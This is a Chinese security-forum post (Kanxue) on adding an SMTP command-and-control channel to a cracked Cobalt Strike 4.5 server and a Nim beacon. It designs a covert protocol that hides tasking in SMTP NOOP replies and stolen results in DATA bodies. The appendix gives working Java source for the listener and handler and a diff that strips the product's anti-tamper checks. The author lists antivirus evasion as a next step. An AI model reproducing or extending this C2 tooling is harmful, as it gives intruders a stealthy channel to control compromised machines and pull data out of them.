首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
逆向工程
发新帖
6
22
[原创]为 CobaltStrike 增加 SMTP Beacon
发表于: 2025-7-2 11:57
6627
[原创]为 CobaltStrike 增加 SMTP Beacon
L4zyD0g
2025-7-2 11:57
6627
书接上回(<a href="elink@2b0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4z5o6p5%4x3H3`.`.">使用 Nim 实现 CobaltStrike Beacon</a>),在使用 Nim Beacon(<a href="elink@db0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3y4s2A6&6c8o6m8Y4i4K6u0r3e0X3W2E0b7X3g2S2j5$3!0F1">GitHub - L4zyD0g/NimBeacon: A Cobalt Strike beacon implemented in Nim.</a>) 实现了一些简单功能之后又有了新的想法,之前看到过 Tesla 是使用 SMTP 实现窃取数据的,那是不是可以使用 SMTP 作为 C2 信道呢?于是就有了以下的工作。 Server 和 Client 端是 CobaltStrike 4.5,Beacon 端是 NimBeacon,二开相关环境等问题可以参考上一篇。 ## 效果 经过改动后,Client 端支持显示和新建 SMTP Listener   Server 端也启动 SMTP Listener  Beacon 配置为 SMTP 协议,启动后向 Server Checkin    Client 发送命令,执行并得到结果  ## 实现路径 1. 熟悉 SMTP 协议 2. 基于 SMTP 协议设计通信协议,初期以简单为主,后面可添加一些 C2Profile 配置 3. 熟悉 CS Server 端对于协议如何实现,包括:如何启动指定协议的 Listner,Listener 如何处理数据,如何关联到 Beacon 来进行 Beacon 的管理等。这里会参考 DNS Beacon 的实现。 4. 根据以上结果在 Server 端实现基于 SMTP 的通信协议 5. 在 Client 端进行和 Server 相对应的改动 6. 在 Beacon 端实现基于 SMTP 的通信协议 ### 熟悉 SMTP 协议 一个典型的 SMTP 协议通信过程如下,> 标记客户端发出的消息, < 标记服务端的返回,未包含启用 TLS 的部分和认证部分 ``` < 220 smtp.example.com ESMTP Ready > EHLO client.example.com < 250 OK > MAIL FROM:<sender@example.com> < 250 OK > RCPT TO:<recipient@target.com> < 250 OK > DATA < 354 Start mail input; end with <CRLF>.<CRLF> > Subject: Test Email > From: Sender <sender@example.com> > To: Recipient <recipient@target.com> > > This is the email body. > . < 250 OK, message accepted > QUIT < 221 smtp.example.com closing connection ``` 根据 RFC 5321,一个完整的邮件事务由以下命令序列组成: ``` MAIL FROM:<发件人> → RCPT TO:<收件人1> → RCPT TO:<收件人2>... → DATA → 邮件内容 → 结束符(.) ``` 一个 TCP 连接上可以发送多个邮件事务,都需要包含以上命令序列。一个邮件事务中 RCPT TO 可以多次使用来指定多个收件人,收件人的数量在 SMTP 中没有限制,但是实际的服务器通常限制在 100-1000 个。 服务端返回报文包含代码和消息,只有代码部分有控制作用,消息部分仅有提示作用。返回报文最大长度为 1000 个 ASCII 字符(包含最后的 CRLF)。 若服务端需要返回多行文本,前 n-1 行的代码和消息中间需要包含连字符,最后一行格式与单行报文相同: ``` <code>-<message> <code>-<message> ... <code>-<message> <code> <message> ``` 多行响应通常为 EHLO 的响应,此外 VRFY 和 HELP 也会有多行响应。 多行响应通常行数不超过 20 行,但协议未作出明确限制。 ### 基于 SMTP 设计通信协议 通信分为三个场景:Checkin、拉取任务和回传结果。其中 Checkin 和回传结果是上行通信,拉取任务是下行通信。为了简单起见,每个完整的通信流程都使用一个邮件事务。 SMTP 的上行通信比较容易,DATA 命令可以传递大量数据;下行相对麻烦,需要通过 SMTP 的 Message 部分进行传递。而 Code+Message 最大为 1000 字节,对于很多情况(例如 DLL 注入)是不足的。 因此下行需要能返回多行响应或者能多次执行的命令(如果不是非要在单个邮件事务中完成通信,就不需要这一点)。常见返回多行响应的命令有 EHLO、VRFY 和 HELP,但这些命令的返回内容都恨固定,不太适合。因此选择可以多次执行的命令,包括 RCPT TO、RSET、NOOP、VRFY、EXPN、HELP。根据 SMTP 的语义,这里面 NOOP 相对更加合适,多次执行也比较正常。 最终通信协议如下: ``` 220 localhost SMTP Server Ready HELO {ClientName} 250 OK MAIL FROM: <{ClientID}@{FromBaseDomain}> 250 OK RCPT TO: <{ToUser}@{ToBaseDomain}> 250 OK NOOP 250 OK {NoopPrefix}{ServerData}{NoopSuffix} NOOP 250 OK {NoopPrefix}{ServerData}{NoopSuffix} ... // 多个 NOOP 直到发送完毕 NOOP 250 OK {NoopPrefix}{TaskData}{NoopSuffix} DATA 354 Start mail input; end with <CRLF>.<CRLF> Subject: {Subject} {CallbackPrefix/MetadataPrefix}{ClientData}{BodySuffix} . 250 OK QUIT 221 smtp.{ServerBaseDomain} closing connection ``` 里面的 ClientID,ServerData 和 ClientData 是数据部分,其余的都应该由 C2Profile 定义。ServerData 和 ClientData 在发送时都进行 Hex 编码。 ### 熟悉 CS Server 对于通信协议的实现 首先是 CS Server 如何启动一个 Listner。 在启动时,CS Server 会进行一些初始化。server.TeamServer  这里可以看到很多的 register 调用,比如 Listener 里面的调用 server.Listeners  可以看到这些 register 只是简单把一些字符串的 value 设置成了本身的值,这也符合 register 的概念。这些字符串和对应的类放到了 this.calls 中,而使用 this.calls 这个 Map 的是 this.resources。 接下来看下 Resources 类用这个 Map 做了什么 server.Resources  Resources 类的构造函数中直接用这个 Map 初始化了 ServerBus 和 Archiver。Archiver 进去简单看了下,是持久化数据用的,暂时不关注。看下 ServerBus server.ServerBus  构造函数里直接赋值了下,然后用新线程执行了 run 函数。run 的前面是一个检测 javaagent 命令行的暗桩。  接下来就是不断从队列中取请求,取到之后调用当时 register 时注册的对应的类的 call 函数。例如上面 Listener 注册过后, listener.create 请求就会由 Listener.call 函数处理。server.Listeners  先看处理 listeners.create 的部分,可以看到经过了一些处理之后直接调用了 beacons.start,这个是 Beacons 注册的,接下来看一下 Beacons 的 call 方法。server.Beacons  可以看到这里面 this.setup.start 来启动 Beacon,然后输出启动结果并在设置 listners.set_status。接下来应该关注启动的具体流程,也就是 this.setup.start。beacon.BeaconSetup  这里针对不同 Payload 类型会初始化和 start 不同的 BeaconSetupC2,如果我们希望增加一个 Payload 的类型就需要修改这里并响应增加 BeaconSetupXXXX。 我们以 BeaconSetupDNS 为例跟进一下启动的过程 beacon.c2setup.BeaconSetupDNS  可以看到这里面在对应端口上启动了一个 DNSServer,然后使用 BeaconDNS 作为 Handler 进行处理,即主要逻辑都在 BeaconDNS 中。beacon.BeaconDNS  可以看到初始化过程就是从 C2Profile 中取得了一些内容初始化不同的域名前缀,conversations 应该是用来串联多个请求的,因为 DNS 单次请求传输的数据量比较小,很多时候不能一次传完。 BeaconDNS 实现了 DNSServer.Handler 接口,这个接口只有一个方法 respond,BeaconDNS 核心的处理逻辑就在 respond 中  respond 简单调用了 respond_nosync,这个函数分支很多,看起来比较麻烦,而且和 DNS Beacon 的通信协议直接相关,对于我们实现新的协议来说帮助不大。我们主要关心的是 DNS Beacon 收到 DNS 请求并组装好数据后如何处理。 BeaconDNS 类初始化时传入了三个参数,ScListener、Profile 和 BeaconC2,这里面的 ScListener 主要是一些创建时的参数和生成 Payload 相关的内容,Profile 也就是 C2Profile 提供配置,那么就是 BeaconC2 起到了控制作用。BeaconC2 也就是 this.controller 在 BeaconDNS 里面有 7 个方法调用,就不一一去看了,简单说一下这些成员函数的作用: - process_beacon_metadata,处理 beacon 元信息的函数 ,checkin时使用 - process_beacon_callback,处理 beacon 执行任务返回的数据 - dump,获取 beacon 对应的任务列表 - getCheckinListener,简单返回 listener - isCheckinRequired,是否需要 checkin。因为 DNSBeacon 会根据是否需要 checkin 返回不同的响应,只和 DNS 协议相关 - checkinMask,DNS 返回的请求的 mask,与 xor 返回的数据获得最后的响应,只和 DNS 协议相关 - getSymetricCrypto,获取对称加密(AES)密钥,encrypt 时会自动加入 hmac hash 可以看到这里面最关键的就是 process_beacon_metadata、process_beacon_callback 和 dump,其它的都与 DNS 本身协议有关,即:处理 beacon 回传数据时,使用 process_beacon_metadata(checkin) 或 process_beacon_callback(回传任务结果);向beacon发送任务时,使用 dump 获取任务。 接下来就比较清楚了,需要实现新的一套 BeaconSetupXXX,BeaconXXX 和 XXXServer,其中 BeaconXXX 需要在组装好数据后调用上面提到的 BeaconC2 的这些关键成员函数来管理 Beacon 数据。 ### CS Server 实现通信协议 修改思路前面已经说完了,这里展示一些修改后代码的关键部分(没有放到 github,对于 CS Server 的修改可能涉及 DMCA)。完整的 diff(包括 Server 和 Client 的改动)放到附录中,有需要可以参考。 #### BeaconSetup 根据前面所说,首先需要在 BeaconSetup.start() 中增加新的 SMTP 类型的 Beacon。beacon.BeaconSetup  #### BeaconSetupSMTP 基本和 BeaconSetupDNS 一样,设置参数、Server 和 Handler。beacon.BeaconSetupSMTP  #### BeaconSMTP 然后是具体实现这个 BeaconSMTP,实现分为 Server 部分(不参与 Beacon 相关的逻辑,仅处理请求等)和 handler 部分(处理和 Beacon 相关的逻辑),这里只看下 Handler 部分,对 Server 部分感兴趣可以看附录的 diff。 这部分处理了 SMTP 中每个状态中要做的对应操作,主要的有三个状态: - Greeted,这部分会取 FROM 命令中的 ClientID 设置到 Session 中,这也就是 Beacon 的 ID  - RCPT TO,这个状态中,当收到 NOOP 指令时,会分段发送该 Beacon 对应的任务,无任务时返回预先定义好的 EmptyResponse。这里面注意要将 16 进制的 BeaconID 转换为对应的数字形式才能正确取到任务,并且要在取到后进行加密(保持和其他 Beacon 处理逻辑一致)。  - DATA,这个阶段中获取 Beacon 发来的元数据和任务结果消息,通过不同的前缀区分元数据和任务结果,然后通过前面提到的 process_beacon_metadata 和 process_beacon_callback 处理。注意 process_beacon_callback 接受的第一个参数也是转换成 10 进制的 ClientID。  有一些偷懒的地方: - 没有实现分阶段的 payload - 在协议设计部分里说到过除了数据部分以外其余应该由 C2Profile 定义,我这里直接先写死了 ### Client 的对应改造 Client 改进相对简单(完全不懂 Swing 的,照着其他的 Beacon 随便改改就成功了) 在几个校验和 Map/Dialog 转换的地方加上 reverse_smtp。common.ListenerUtils    在几个可以显示的地方增加 SMTP 的项目。aggressor.dialogs.ScListenerDialog   ### Beacon 实现通信协议 Beacon 就比较简单了,前面解耦做的还比较好,可以直接在 protocol 里面新增一个 SMTP,具体直接看项目吧。 <a href="elink@12eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3y4s2A6&6c8o6m8Y4i4K6u0r3e0X3W2E0b7X3g2S2j5$3!0F1i4K6u0r3j5X3I4G2j5W2)9J5c8X3#2S2K9h3&6Q4x3V1k6@1M7X3q4F1M7%4m8G2M7Y4c8Q4x3V1k6K6L8i4c8H3i4K6u0W2L8X3W2E0">NimBeacon/transport/smtp.nim at main · L4zyD0g/NimBeacon · GitHub</a> SMTP 协议相关的内容在 transport/smtp.nim。 ## 总结 经过以上改动后,现在可以使用 SMTP 作为 CobaltStrike 的 C2 信道。另外还有一些改进的余地,比如效果应该比较好的是使用 TLS,还可以细致修改下上面的这些配置,让通信过程更接近真实的 SMTP 通信。 下一步的计划是为 NimBeacon 增加一些免杀特性,和实现一个利用合法云服务来进行 C2 通信的功能,如果喜欢的话就点个 Star 吧。 <a href="elink@903K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6x3y4s2A6&6c8o6m8Y4i4K6u0r3e0X3W2E0b7X3g2S2j5$3!0F1">GitHub - L4zyD0g/NimBeacon: A Cobalt Strike beacon implemented in Nim.</a> ## 附录 ### 新增文件 src/beacon/BeaconSMTP ``` package beacon; import c2profile.Profile; import common.CommonUtils; import common.MudgeSanity; import common.Packer; import common.ScListener; import smtp.*; import java.util.Arrays; import java.util.regex.Matcher; import java.util.regex.Pattern; public class BeaconSMTP implements Handler { private final String ServerBaseDomain = "server.test.local"; private final String ClientBaseDomain = "client.test.local"; private final String DataPrefix = ""; private final String MetadataPrefix = "The following messages are encrypted with AES:"; private final String CallbackPrefix = "The following messages are encrypted with RSA:"; private final String BodySuffix = ""; private final String NoopPrefix = "Trace: "; private final String NoopSuffix = ""; private final String NoopEmptyResponse = ""; private final int SingleOutputLength = 256; protected ScListener listener; protected Profile c2profile; protected BeaconC2 controller; protected Response idlemsg; public BeaconSMTP(ScListener listner, Profile profile, BeaconC2 controller) { this.listener = listner; this.c2profile = profile; this.controller = controller; // todo this.idlemsg = null; } public Response respond(Command command, Session session) { synchronized(this) { Response response; try { response = this.respond_nosync(command, session); } catch (Exception e) { MudgeSanity.logException("SMTP request '" + command + "' session(" + session + ")", e, false); return this.idlemsg; } return response; } } public Response respond_nosync(Command command, Session session) { switch (session.getState()) { case CONNECT: if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { return new Response(250, "Hello"); } return new Response(503, "Error: send HELO or EHLO first"); case GREETED: if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { String client = command.getArgs().toUpperCase(); String clientId = ""; // client = "FROM:<{ClientID}@{BaseDomain}>" Pattern pattern = Pattern.compile("<([^@]+)@[^>]+>"); Matcher matcher = pattern.matcher(client); if (matcher.find()) { clientId = matcher.group(1); } else { CommonUtils.print_info("Failed to extract client id: " + client); return new Response(503, "Error: need MAIL command"); } session.setClientId(clientId); CommonUtils.print_info("Get smtp helo from client id: " + clientId); return new Response(250, "OK"); } return new Response(503, "Error: need MAIL command"); case MAIL_FROM: if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { return new Response(250, "OK"); } return new Response(503, "Error: need RCPT command"); case RCPT_TO: if (command.getVerb().equals("NOOP")) { if (!session.outputAlreadySet) { // 60e03dee -> 1625308654 String clientIdNumber = CommonUtils.toNumberFromHex(session.getClientId(), 0) + ""; byte[] taskBytes = this.controller.dump(clientIdNumber, 72000, 1048576); if (taskBytes.length == 0) { return new Response(250, NoopEmptyResponse); } CommonUtils.print_info("Get task bytes: " + Arrays.toString(taskBytes)); byte[] taskBytesEncrypted = this.controller.getSymmetricCrypto().encrypt(clientIdNumber, taskBytes); CommonUtils.print_info("Encrypted task bytes: " + Arrays.toString(taskBytesEncrypted)); session.setOutput(taskBytesEncrypted); } byte[] resp = session.getOutput(SingleOutputLength); if (resp.length != 0) { CommonUtils.print_info("Send encrypted task bytes: " + Arrays.toString(resp)); return new Response(250, NoopPrefix + CommonUtils.toHex(resp) + NoopSuffix); } else { return new Response(250, NoopEmptyResponse); } } else if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { return new Response(250, "OK"); } else if (command.getVerb().equals("DATA")) { return new Response(354, "Start mail input; end with <CRLF>.<CRLF>"); } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { return new Response(250, "OK"); } return new Response(503, "Error: need RCPT or DATA command"); case DATA: if (command.getVerb().equals(".")) { String data = session.getData(); String clientId = session.getClientId(); CommonUtils.print_info("Get all data from clientID: " + clientId + ", data: " + data); String prefix = ""; if (data.startsWith(MetadataPrefix)) { prefix = MetadataPrefix; } else if (data.startsWith(CallbackPrefix)) { prefix = CallbackPrefix; } if (!prefix.equals("")) { data = data.substring(prefix.length()); data = data.substring(0, data.length() - BodySuffix.length()); Packer packer = new Packer(); packer.addHex(data); byte[] decoded = packer.getBytes(); if (prefix.equals(MetadataPrefix)) { CommonUtils.print_info("Process smtp metadata"); this.controller.process_beacon_metadata(this.listener, "", decoded); } else if (prefix.equals(CallbackPrefix)) { CommonUtils.print_info("Process smtp callback"); String clientIdNumber = CommonUtils.toNumberFromHex(session.getClientId(), 0) + ""; this.controller.process_beacon_callback(clientIdNumber, decoded); } } return new Response(250, "OK: message queued"); } else { session.appendData(command.getArgs()); CommonUtils.print_info("Append smtp data: " + command.getArgs()); } // 数据行,继续接收 return new Response(0, ""); default: return new Response(500, "Internal server error"); } } } ``` src/beacon/c2setup/BeaconSetupSMTP ``` package beacon.c2setup; import beacon.BeaconC2; import beacon.BeaconSMTP; import common.ScListener; import server.Resources; import smtp.SMTPServer; public class BeaconSetupSMTP extends BeaconSetupC2 { protected int port = 0; protected BeaconSMTP handler = null; protected SMTPServer server; public BeaconSetupSMTP(Resources var1, ScListener var2, BeaconC2 var3) { super(var1, var2, var3); this.port = var2.getBindPort(); } public void start() throws Exception { this.handler = new BeaconSMTP(this.getListener(), this.getProfile(), this.getController()); // stager not implemented // c2profile not implemented this.server = new SMTPServer(this.port); this.server.installHandler(this.handler); this.server.go(); } public void stop() { this.server.stop(); } } ``` src/smtp/Command ``` package smtp; public class Command { private final String verb; private final String args; public Command(String verb, String args) { this.verb = verb; this.args = args; } public String getVerb() { return verb; } public String getArgs() { return args; } @Override public String toString() { return verb + (args.isEmpty() ? "" : " " + args); } } ``` src/smtp/DefaultHandler ``` package smtp; public class DefaultHandler implements Handler { @Override public Response respond(Command command, Session session) { switch (session.getState()) { case CONNECT: if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { return new Response(250, "localhost Hello " + (command.getArgs().isEmpty() ? "client" : command.getArgs())); } return new Response(503, "Error: send HELO or EHLO first"); case GREETED: if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { return new Response(250, "OK"); } return new Response(503, "Error: need MAIL command"); case MAIL_FROM: if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { return new Response(250, "OK"); } return new Response(503, "Error: need RCPT command"); case RCPT_TO: if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { return new Response(250, "OK"); } else if (command.getVerb().equals("DATA")) { return new Response(354, "Start mail input; end with <CRLF>.<CRLF>"); } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { return new Response(250, "OK"); } return new Response(503, "Error: need RCPT or DATA command"); case DATA: if (command.getVerb().equals("ENDDATA")) { return new Response(250, "OK: message queued"); } // 数据行,继续接收 return new Response(0, ""); default: return new Response(500, "Internal server error"); } } } ``` src/smtp/Handler ``` package smtp; public interface Handler { Response respond(Command command, Session session); } ``` src/smtp/Response ``` package smtp; public class Response { private final int code; private final String message; public Response(int code, String message) { this.code = code; this.message = message; } public int getCode() { return code; } public String getMessage() { return message; } @Override public String toString() { if (code == 0) { return ""; } return code + " " + message; } } ``` src/smtp/Session ``` package smtp; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.StringReader; import java.nio.CharBuffer; import java.util.ArrayList; import java.util.Arrays; import java.util.List; public class Session { private State state; private String mailFrom; private String clientId; private final List<String> recipients; private StringBuilder data; private ByteArrayInputStream outputReader = null; public boolean outputAlreadySet = false; public Session() { this.state = State.CONNECT; this.recipients = new ArrayList<>(); this.data = new StringBuilder(); } public State getState() { return state; } public String getMailFrom() { return mailFrom; } public List<String> getRecipients() { return recipients; } public String getClientId() { return clientId; } public void setClientId(String clientId) { this.clientId = clientId; } public void appendData(String str) { this.data.append(str); } public String getData() { return data.toString(); } public void setOutput(byte[] bytes) { this.outputReader = new ByteArrayInputStream(bytes); this.outputAlreadySet = true; } public byte[] getOutput(int max) { byte[] buffer = new byte[max]; int len = 0; try { len = this.outputReader.read(buffer); } catch (IOException e) { return new byte[0]; } if (len < 0) { return new byte[0]; } return Arrays.copyOf(buffer, len); } public void updateState(Command command, Response response) { if (response.getCode() >= 400) { // 错误响应不改变状态 return; } switch (state) { case CONNECT: if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { state = State.GREETED; } break; case GREETED: if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { mailFrom = extractAddress(command.getArgs()); recipients.clear(); data.setLength(0); state = State.MAIL_FROM; } break; case MAIL_FROM: if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { recipients.add(extractAddress(command.getArgs())); state = State.RCPT_TO; } break; case RCPT_TO: if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { recipients.add(extractAddress(command.getArgs())); } else if (command.getVerb().equals("DATA")) { state = State.DATA; } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { mailFrom = extractAddress(command.getArgs()); recipients.clear(); data.setLength(0); state = State.MAIL_FROM; } break; case DATA: if (command.getVerb().equals("ENDDATA")) { state = State.GREETED; } break; } } private String extractAddress(String arg) { int start = arg.indexOf('<'); int end = arg.indexOf('>'); if (start >= 0 && end > start) { return arg.substring(start + 1, end); } return arg; // 简单处理,实际应使用更复杂的解析 } public enum State { CONNECT, GREETED, MAIL_FROM, RCPT_TO, DATA } } ``` src/smtp/SMTPConnection ``` package smtp; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.Socket; import java.util.Arrays; import java.util.List; public class SMTPConnection implements Runnable { private final Socket clientSocket; private final Handler handler; private Session session; private final List<String> NoParamCommands = Arrays.asList("DATA", "NOOP", ".", "QUIT"); private final List<String> WithParamCommands = Arrays.asList("HELO", "EHLO", "MAIL", "RCPT"); public SMTPConnection(Socket socket, Handler handler) { this.clientSocket = socket; this.handler = handler; this.session = new Session(); } @Override public void run() { try ( PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true); BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())) ) { // 发送欢迎信息 sendResponse(out, new Response(220, "localhost SMTP Server Ready")); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println("Client: " + inputLine); if (inputLine.trim().equalsIgnoreCase("QUIT")) { sendResponse(out, new Response(221, "Bye")); break; } Command command = parseCommand(inputLine); Response response = handler.respond(command, session); sendResponse(out, response); // 更新会话状态 session.updateState(command, response); } } catch (IOException e) { System.err.println("Error handling client: " + e.getMessage()); } finally { try { clientSocket.close(); } catch (IOException e) { System.err.println("Error closing client socket: " + e.getMessage()); } } } private Command parseCommand(String input) { String[] parts = input.split(" ", 2); if (parts.length == 1 && NoParamCommands.contains(parts[0].toUpperCase())) { // NoParamCommand return new Command(parts[0].toUpperCase(), ""); } else { if (WithParamCommands.contains(parts[0].toUpperCase())) { // WithParamCommand return new Command(parts[0].toUpperCase(), parts[1]); } else { // data return new Command("", input); } } } private void sendResponse(PrintWriter out, Response response) { System.out.println("Server: " + response.getCode() + " " + response.getMessage()); if (response.getCode() == 0) { // for DATA commands return; } out.println(response.getCode() + " " + response.getMessage()); } } ``` src/smtp/SMTPServer ``` package smtp; import java.io.*; import java.net.ServerSocket; import java.net.Socket; import java.util.LinkedList; import java.util.List; import common.CommonUtils; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; public class SMTPServer implements Runnable { private final int port; private final ExecutorService threadPool; private Handler listener; private boolean running; protected Thread fred; public SMTPServer(int port) { this.port = port; this.threadPool = Executors.newFixedThreadPool(10); this.listener = new DefaultHandler(); this.running = false; } public void installHandler(Handler handler) { if (handler != null) { this.listener = handler; } } public void go() { this.fred = new Thread(this); this.fred.start(); } @Override public void run() { start(); } public void start() { running = true; try (ServerSocket serverSocket = new ServerSocket(port)) { // System.out.println("SMTP Server started on port " + port); while (running) { Socket clientSocket = serverSocket.accept(); // System.out.println("New client connected: " + clientSocket.getInetAddress()); threadPool.submit(new SMTPConnection(clientSocket, listener)); } } catch (IOException e) { if (running) { // System.err.println("Server error: " + e.getMessage()); } } finally { threadPool.shutdown(); } } public void stop() { running = false; threadPool.shutdown(); this.fred.interrupt(); } public static void main(String[] args) { Thread serverThread = new Thread(new SMTPServer(2525)); serverThread.start(); } } ``` ### 修改文件 ``` diff -r decompiled_src/META-INF/MANIFEST.MF src/META-INF/MANIFEST.MF 5,11c5,11 < Add-Exports: java.desktop/sun.swing java.desktop/sun.swing.table java.de < sktop/sun.swing.plaf.synth java.desktop/com.sun.java.swing.plaf.windows < java.desktop/sun.awt.shell java.desktop/com.sun.awt java.base/sun.secu < rity.action < Add-Opens: java.desktop/javax.swing.plaf.synth java.desktop/javax.swing. < plaf.basic java.desktop/javax.swing java.desktop/javax.swing.tree java. < desktop/java.awt.event --- > Add-Exports: java.desktop/sun.swing java.desktop/sun.swing.table java. > desktop/sun.swing.plaf.synth java.desktop/com.sun.java.swing.plaf.win > dows java.desktop/sun.awt.shell java.desktop/com.sun.awt java.base/su > n.security.action > Add-Opens: java.desktop/javax.swing.plaf.synth java.desktop/javax.swin > g.plaf.basic java.desktop/javax.swing java.desktop/javax.swing.tree j > ava.desktop/java.awt.event diff -r decompiled_src/aggressor/Aggressor.java src/aggressor/Aggressor.java 5,7c5,6 < import common.Authorization; < import common.CommonUtils; < import common.Starter; --- > import common.*; > 25a25 > JOptionPane.showMessageDialog(null, "Hello"); 38,41c38,41 < String var6 = "The Cobalt Strike Client process cannot be started with a javaagent."; < JOptionPane.showMessageDialog((Component)null, var6, (String)null, 0); < CommonUtils.print_error(var6); < System.exit(0); --- > // String var6 = "The Cobalt Strike Client process cannot be started with a javaagent."; > // JOptionPane.showMessageDialog((Component)null, var6, (String)null, 0); > // CommonUtils.print_error(var6); > // System.exit(0); diff -r decompiled_src/aggressor/TeamServerProps.java src/aggressor/TeamServerProps.java 27c27 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/aggressor/dialogs/ConnectDialog.java src/aggressor/dialogs/ConnectDialog.java 104c104 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/aggressor/dialogs/ExportReportDialog.java src/aggressor/dialogs/ExportReportDialog.java 61c61 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/aggressor/dialogs/GoldenTicketDialog.java src/aggressor/dialogs/GoldenTicketDialog.java 42c42,43 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); 44,45c45,46 < System.exit(0); < return true; --- > // System.exit(0); > // return true; diff -r decompiled_src/aggressor/dialogs/PayloadGeneratorDialog.java src/aggressor/dialogs/PayloadGeneratorDialog.java 44c44 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/aggressor/dialogs/ScListenerDialog.java src/aggressor/dialogs/ScListenerDialog.java 169a170,171 > } else if ("Beacon SMTP".equals(var2)) { > this.cardl.show(this.cards, "smtp"); 171d172 < 176c177 < String[] var2 = CommonUtils.toArray("Beacon DNS, Beacon HTTP, Beacon HTTPS, Beacon SMB, Beacon TCP, External C2, Foreign HTTP, Foreign HTTPS"); --- > String[] var2 = CommonUtils.toArray("Beacon DNS, Beacon SMTP, Beacon HTTP, Beacon HTTPS, Beacon SMB, Beacon TCP, External C2, Foreign HTTP, Foreign HTTPS"); 311a313,319 > public void show_smtp(DialogManager var1) { > var1.startGroup("smtp"); > var1.text("smtp_host", "SMTP Host:"); > var1.text("smtp_port", "SMTP Port:"); > var1.endGroup(); > } > 325a334 > this.show_smtp(var1); 333a343 > this.cards.add(DialogUtils.top(var1.layout("smtp")), "smtp"); diff -r decompiled_src/aggressor/windows/CortanaConsole.java src/aggressor/windows/CortanaConsole.java 33c33 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/aggressor/windows/SOCKSBrowser.java src/aggressor/windows/SOCKSBrowser.java 87c87 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/aggressor/windows/ScriptManager.java src/aggressor/windows/ScriptManager.java 51c51 < System.exit(0); --- > // System.exit(0); diff -r decompiled_src/beacon/BeaconData.java src/beacon/BeaconData.java 54c54,55 < this.shouldPad = var1; --- > // this.shouldPad = var1; > this.shouldPad = false; 106c107,108 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); 108c110 < return true; --- > // return true; diff -r decompiled_src/beacon/BeaconHTTP.java src/beacon/BeaconHTTP.java 45,47c45,47 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); < < return true; --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); > // return true; Only in src/beacon: BeaconSMTP.java diff -r decompiled_src/beacon/BeaconSetup.java src/beacon/BeaconSetup.java 3,6c3 < import beacon.c2setup.BeaconSetupC2; < import beacon.c2setup.BeaconSetupDNS; < import beacon.c2setup.BeaconSetupExternalC2; < import beacon.c2setup.BeaconSetupHTTP; --- > import beacon.c2setup.*; 105,107c102,107 < if (!"windows/beacon_extc2".equals(var3)) { < return true; < } --- > if ("windows/beacon_smtp/reverse_smtp".equals(var3)) { > var4 = new BeaconSetupSMTP(this.resources, var2, this.controller); > } else { > if (!"windows/beacon_extc2".equals(var3)) { > return true; > } 109c109,110 < var4 = new BeaconSetupExternalC2(this.resources, var2, this.controller, this); --- > var4 = new BeaconSetupExternalC2(this.resources, var2, this.controller, this); > } diff -r decompiled_src/beacon/CommandBuilder.java src/beacon/CommandBuilder.java 114c114,115 < this.A(); --- > this.output.writeInt(this.command); > // this.A(); 134c135 < this.output.writeInt(this.A(this.command)); --- > // this.output.writeInt(this.A(this.command)); 136d136 < 223,225c223,225 < } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); < < B = true; --- > // } while(var3 == null || !var3.toLowerCase().contains("-javaagent:")); > } while(true); > // B = true; diff -r decompiled_src/beacon/c2setup/BeaconSetupHTTP.java src/beacon/c2setup/BeaconSetupHTTP.java 57c57 < System.exit(0); --- > // System.exit(0); Only in src/beacon/c2setup: 